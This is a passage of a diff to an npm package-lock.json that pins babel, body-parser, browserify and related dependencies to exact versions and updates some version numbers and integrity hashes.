"^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-call-delegate": "6.24.1", + "babel-helper-get-function-arity": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-shorthand-properties": { @@ -1808,8 +1897,8 @@ "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-spread": { @@ -1818,7 +1907,7 @@ "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-sticky-regex": { @@ -1827,9 +1916,9 @@ "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", "dev": true, "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-regex": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-template-literals": { @@ -1838,7 +1927,7 @@ "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-typeof-symbol": { @@ -1847,7 +1936,7 @@ "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-unicode-regex": { @@ -1856,9 +1945,9 @@ "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", "dev": true, "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "regexpu-core": "^2.0.0" + "babel-helper-regex": "6.24.1", + "babel-runtime": "6.25.0", + "regexpu-core": "2.0.0" } }, "babel-plugin-transform-exponentiation-operator": { @@ -1867,9 +1956,9 @@ "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", "dev": true, "requires": { - "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", - "babel-plugin-syntax-exponentiation-operator": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-builder-binary-assignment-operator-visitor": "6.24.1", + "babel-plugin-syntax-exponentiation-operator": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-export-extensions": { @@ -1878,8 +1967,8 @@ "integrity": "sha1-U3OLR+deghhYnuqUbLvTkQm75lM=", "dev": true, "requires": { - "babel-plugin-syntax-export-extensions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-export-extensions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-flow-strip-types": { @@ -1888,8 +1977,8 @@ "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", "dev": true, "requires": { - "babel-plugin-syntax-flow": "^6.18.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-flow": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-function-bind": { @@ -1898,8 +1987,8 @@ "integrity": "sha1-xvuOlqwpajELjPjqQBRiQH3fapc=", "dev": true, "requires": { - "babel-plugin-syntax-function-bind": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-function-bind": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-object-rest-spread": { @@ -1908,8 +1997,8 @@ "integrity": "sha1-h11ryb52HFiirj/u5dxIldjH+SE=", "dev": true, "requires": { - "babel-plugin-syntax-object-rest-spread": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-object-rest-spread": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-display-name": { @@ -1918,7 +2007,7 @@ "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx": { @@ -1927,9 +2016,9 @@ "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", "dev": true, "requires": { - "babel-helper-builder-react-jsx": "^6.24.1", - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-builder-react-jsx": "6.26.0", + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx-self": { @@ -1938,8 +2027,8 @@ "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx-source": { @@ -1948,8 +2037,8 @@ "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-regenerator": { @@ -1967,8 +2056,8 @@ "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-polyfill": { @@ -1977,9 +2066,9 @@ "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "regenerator-runtime": "^0.10.5" + "babel-runtime": "6.26.0", + "core-js": "2.6.10", + "regenerator-runtime": "0.10.5" }, "dependencies": { "babel-runtime": { @@ -1988,8 +2077,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.0" }, "dependencies": { "regenerator-runtime": { @@ -2008,36 +2097,36 @@ "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-to-generator": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.23.0", - "babel-plugin-transform-es2015-classes": "^6.23.0", - "babel-plugin-transform-es2015-computed-properties": "^6.22.0", - "babel-plugin-transform-es2015-destructuring": "^6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", - "babel-plugin-transform-es2015-for-of": "^6.23.0", - "babel-plugin-transform-es2015-function-name": "^6.22.0", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.22.0", - "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-umd": "^6.23.0", - "babel-plugin-transform-es2015-object-super": "^6.22.0", - "babel-plugin-transform-es2015-parameters": "^6.23.0", - "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", - "babel-plugin-transform-exponentiation-operator": "^6.22.0", - "babel-plugin-transform-regenerator": "^6.22.0", - "browserslist": "^3.2.6", - "invariant": "^2.2.2", - "semver": "^5.3.0" + "babel-plugin-check-es2015-constants": "6.22.0", + "babel-plugin-syntax-trailing-function-commas": "6.22.0", + "babel-plugin-transform-async-to-generator": "6.24.1", + "babel-plugin-transform-es2015-arrow-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoping": "6.24.1", + "babel-plugin-transform-es2015-classes": "6.24.1", + "babel-plugin-transform-es2015-computed-properties": "6.24.1", + "babel-plugin-transform-es2015-destructuring": "6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", + "babel-plugin-transform-es2015-for-of": "6.23.0", + "babel-plugin-transform-es2015-function-name": "6.24.1", + "babel-plugin-transform-es2015-literals": "6.22.0", + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", + "babel-plugin-transform-es2015-modules-umd": "6.24.1", + "babel-plugin-transform-es2015-object-super": "6.24.1", + "babel-plugin-transform-es2015-parameters": "6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", + "babel-plugin-transform-es2015-spread": "6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "6.24.1", + "babel-plugin-transform-es2015-template-literals": "6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "6.24.1", + "babel-plugin-transform-exponentiation-operator": "6.24.1", + "babel-plugin-transform-regenerator": "6.24.1", + "browserslist": "3.2.8", + "invariant": "2.2.2", + "semver": "5.5.0" }, "dependencies": { "semver": { @@ -2054,30 +2143,30 @@ "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.24.1", - "babel-plugin-transform-es2015-classes": "^6.24.1", - "babel-plugin-transform-es2015-computed-properties": "^6.24.1", - "babel-plugin-transform-es2015-destructuring": "^6.22.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", - "babel-plugin-transform-es2015-for-of": "^6.22.0", - "babel-plugin-transform-es2015-function-name": "^6.24.1", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-umd": "^6.24.1", - "babel-plugin-transform-es2015-object-super": "^6.24.1", - "babel-plugin-transform-es2015-parameters": "^6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", - "babel-plugin-transform-regenerator": "^6.24.1" + "babel-plugin-check-es2015-constants": "6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoping": "6.24.1", + "babel-plugin-transform-es2015-classes": "6.24.1", + "babel-plugin-transform-es2015-computed-properties": "6.24.1", + "babel-plugin-transform-es2015-destructuring": "6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", + "babel-plugin-transform-es2015-for-of": "6.23.0", + "babel-plugin-transform-es2015-function-name": "6.24.1", + "babel-plugin-transform-es2015-literals": "6.22.0", + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", + "babel-plugin-transform-es2015-modules-umd": "6.24.1", + "babel-plugin-transform-es2015-object-super": "6.24.1", + "babel-plugin-transform-es2015-parameters": "6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", + "babel-plugin-transform-es2015-spread": "6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "6.24.1", + "babel-plugin-transform-es2015-template-literals": "6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "6.24.1", + "babel-plugin-transform-regenerator": "6.24.1" } }, "babel-preset-flow": { @@ -2086,7 +2175,7 @@ "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", "dev": true, "requires": { - "babel-plugin-transform-flow-strip-types": "^6.22.0" + "babel-plugin-transform-flow-strip-types": "6.22.0" } }, "babel-preset-react": { @@ -2095,12 +2184,12 @@ "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.3.13", - "babel-plugin-transform-react-display-name": "^6.23.0", - "babel-plugin-transform-react-jsx": "^6.24.1", - "babel-plugin-transform-react-jsx-self": "^6.22.0", - "babel-plugin-transform-react-jsx-source": "^6.22.0", - "babel-preset-flow": "^6.23.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-plugin-transform-react-display-name": "6.25.0", + "babel-plugin-transform-react-jsx": "6.24.1", + "babel-plugin-transform-react-jsx-self": "6.22.0", + "babel-plugin-transform-react-jsx-source": "6.22.0", + "babel-preset-flow": "6.23.0" } }, "babel-preset-stage-0": { @@ -2109,9 +2198,9 @@ "integrity": "sha1-VkLRUEL5E4TX5a+LyIsduVsDnmo=", "dev": true, "requires": { - "babel-plugin-transform-do-expressions": "^6.22.0", - "babel-plugin-transform-function-bind": "^6.22.0", - "babel-preset-stage-1": "^6.24.1" + "babel-plugin-transform-do-expressions": "6.22.0", + "babel-plugin-transform-function-bind": "6.22.0", + "babel-preset-stage-1": "6.24.1" } }, "babel-preset-stage-1": { @@ -2120,9 +2209,9 @@ "integrity": "sha1-dpLNfc1oSZB+auSgqFWJz7niv7A=", "dev": true, "requires": { - "babel-plugin-transform-class-constructor-call": "^6.24.1", - "babel-plugin-transform-export-extensions": "^6.22.0", - "babel-preset-stage-2": "^6.24.1" + "babel-plugin-transform-class-constructor-call": "6.24.1", + "babel-plugin-transform-export-extensions": "6.22.0", + "babel-preset-stage-2": "6.24.1" } }, "babel-preset-stage-2": { @@ -2131,10 +2220,10 @@ "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", "dev": true, "requires": { - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-class-properties": "^6.24.1", - "babel-plugin-transform-decorators": "^6.24.1", - "babel-preset-stage-3": "^6.24.1" + "babel-plugin-syntax-dynamic-import": "6.18.0", + "babel-plugin-transform-class-properties": "6.24.1", + "babel-plugin-transform-decorators": "6.24.1", + "babel-preset-stage-3": "6.24.1" } }, "babel-preset-stage-3": { @@ -2143,11 +2232,11 @@ "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", "dev": true, "requires": { - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-generator-functions": "^6.24.1", - "babel-plugin-transform-async-to-generator": "^6.24.1", - "babel-plugin-transform-exponentiation-operator": "^6.24.1", - "babel-plugin-transform-object-rest-spread": "^6.22.0" + "babel-plugin-syntax-trailing-function-commas": "6.22.0", + "babel-plugin-transform-async-generator-functions": "6.24.1", + "babel-plugin-transform-async-to-generator": "6.24.1", + "babel-plugin-transform-exponentiation-operator": "6.24.1", + "babel-plugin-transform-object-rest-spread": "6.23.0" } }, "babel-register": { @@ -2156,13 +2245,13 @@ "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", "dev": true, "requires": { - "babel-core": "^6.26.0", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "home-or-tmp": "^2.0.0", - "lodash": "^4.17.4", - "mkdirp": "^0.5.1", - "source-map-support": "^0.4.15" + "babel-core": "6.26.3", + "babel-runtime": "6.26.0", + "core-js": "2.6.10", + "home-or-tmp": "2.0.0", + "lodash": "4.17.10", + "mkdirp": "0.5.1", + "source-map-support": "0.4.18" }, "dependencies": { "babel-runtime": { @@ -2171,8 +2260,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -2188,8 +2277,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.10.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.10.5" } }, "babel-template": { @@ -2198,11 +2287,11 @@ "integrity": "sha1-ZlJBFmt8KqTGGdceGSlpVSsQwHE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.25.0", - "babel-types": "^6.25.0", - "babylon": "^6.17.2", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0", + "babylon": "6.17.4", + "lodash": "4.17.10" } }, "babel-traverse": { @@ -2211,15 +2300,15 @@ "integrity": "sha1-IldJfi/NGbie3BPEyROB+VEklvE=", "dev": true, "requires": { - "babel-code-frame": "^6.22.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-types": "^6.25.0", - "babylon": "^6.17.2", - "debug": "^2.2.0", - "globals": "^9.0.0", - "invariant": "^2.2.0", - "lodash": "^4.2.0" + "babel-code-frame": "6.22.0", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "babylon": "6.17.4", + "debug": "2.6.8", + "globals": "9.18.0", + "invariant": "2.2.2", + "lodash": "4.17.10" } }, "babel-types": { @@ -2228,10 +2317,10 @@ "integrity": "sha1-cK+ySNVmDl0Y+BHZHIMDtUE0oY4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "esutils": "^2.0.2", - "lodash": "^4.2.0", - "to-fast-properties": "^1.0.1" + "babel-runtime": "6.25.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "babylon": { @@ -2257,13 +2346,13 @@ "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", "dev": true, "requires": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" + "cache-base": "1.0.1", + "class-utils": "0.3.6", + "component-emitter": "1.3.0", + "define-property": "1.0.0", + "isobject": "3.0.1", + "mixin-deep": "1.3.2", + "pascalcase": "0.1.1" }, "dependencies": { "define-property": { @@ -2272,7 +2361,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "is-accessor-descriptor": { @@ -2281,7 +2370,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -2290,7 +2379,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -2299,9 +2388,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -2330,9 +2419,9 @@ "dev": true }, "base64-js": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.0.tgz", - "integrity": "sha512-ccav/yGvoa80BQDljCxsmmQ3Xvx60/UpBIij5QN21W3wBi/hhIC9OoO+KLpu9IJTS9j4DRVJ3aDDF9cMSoa2lw==" + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz", + "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==" }, "base64id": { "version": "1.0.0", @@ -2352,7 +2441,7 @@ "integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=", "optional": true, "requires": { - "tweetnacl": "^0.14.3" + "tweetnacl": "0.14.5" } }, "better-assert": { @@ -2381,13 +2470,13 @@ "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", "integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=", "requires": { - "psl": "^1.1.7" + "psl": "1.1.20" } }, "blob": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/blob/-/blob-0.0.4.tgz", - "integrity": "sha1-vPEwUspURj8w+fx+lbmkdjCpSSE=", + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/blob/-/blob-0.0.5.tgz", + "integrity": "sha512-gaqbzQPqOoamawKg0LGVd7SzLgXS+JH61oWprSLH+P+abTczqJbhTR8CmJ2u9/bUYNmHTGJx/UEmn6doAvvuig==", "dev": true }, "block-stream": { @@ -2395,13 +2484,13 @@ "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", "requires": { - "inherits": "~2.0.0" + "inherits": "2.0.3" } }, "bluebird": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", - "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.5.tgz", + "integrity": "sha512-5am6HnnfN+urzt4yfg7IgTbotDjIT/u8AJpEt0sIU9FtXfVeezXAPKswrG+xKUCOYAINpSdgZVDU6QFh+cuH3w==", "dev": true }, "bn.js": { @@ -2411,21 +2500,21 @@ "dev": true }, "body-parser": { - "version": "1.18.3", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz", - "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", "dev": true, "requires": { - "bytes": "3.0.0", - "content-type": "~1.0.4", + "bytes": "3.1.0", + "content-type": "1.0.4", "debug": "2.6.9", - "depd": "~1.1.2", - "http-errors": "~1.6.3", - "iconv-lite": "0.4.23", - "on-finished": "~2.3.0", - "qs": "6.5.2", - "raw-body": "2.3.3", - "type-is": "~1.6.16" + "depd": "1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "1.6.18" }, "dependencies": { "debug": { @@ -2438,13 +2527,19 @@ } }, "iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } + }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "dev": true } } }, @@ -2454,12 +2549,12 @@ "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", "dev": true, "requires": { - "array-flatten": "^2.1.0", - "deep-equal": "^1.0.1", - "dns-equal": "^1.0.0", - "dns-txt": "^2.0.2", - "multicast-dns": "^6.0.1", - "multicast-dns-service-types": "^1.1.0" + "array-flatten": "2.1.2", + "deep-equal": "1.1.1", + "dns-equal": "1.0.0", + "dns-txt": "2.0.2", + "multicast-dns": "6.2.3", + "multicast-dns-service-types": "1.1.0" } }, "boolbase": { @@ -2474,7 +2569,7 @@ "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } }, "bootstrap": { @@ -2488,8 +2583,8 @@ "integrity": "sha1-F3kPVRU4rN6PlLcBhoDBRVRLsuE=", "dev": true, "requires": { - "loader-utils": "^0.2.5", - "q": "^1.0.1" + "loader-utils": "0.2.17", + "q": "1.5.0" } }, "brace-expansion": { @@ -2497,7 +2592,7 @@ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", "requires": { - "balanced-match": "^1.0.0", + "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, @@ -2508,9 +2603,9 @@ "dev": true, "optional": true, "requires": { - "expand-range": "^1.8.1", - "preserve": "^0.2.0", - "repeat-element": "^1.1.2" + "expand-range": "1.8.2", + "preserve": "0.2.0", + "repeat-element": "1.1.2" } }, "brorand": { @@ -2531,12 +2626,12 @@ "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", "dev": true, "requires": { - "buffer-xor": "^1.0.3", - "cipher-base": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.3", - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "buffer-xor": "1.0.3", + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "browserify-cipher": { @@ -2545,9 +2640,9 @@ "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==", "dev": true, "requires": { - "browserify-aes": "^1.0.4", - "browserify-des": "^1.0.0", - "evp_bytestokey": "^1.0.0" + "browserify-aes": "1.2.0", + "browserify-des": "1.0.2", + "evp_bytestokey": "1.0.3" } }, "browserify-des": { @@ -2556,16 +2651,16 @@ "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==", "dev": true, "requires": { - "cipher-base": "^1.0.1", - "des.js": "^1.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" + "cipher-base": "1.0.4", + "des.js": "1.0.1", + "inherits": "2.0.3", + "safe-buffer": "5.2.0" }, "dependencies": { "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", "dev": true } } @@ -2576,8 +2671,8 @@ "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", "dev": true, "requires": { - "bn.js": "^4.1.0", - "randombytes": "^2.0.1" + "bn.js": "4.11.8", + "randombytes": "2.1.0" } }, "browserify-sign": { @@ -2586,13 +2681,13 @@ "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", "dev": true, "requires": { - "bn.js": "^4.1.1", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.2", - "elliptic": 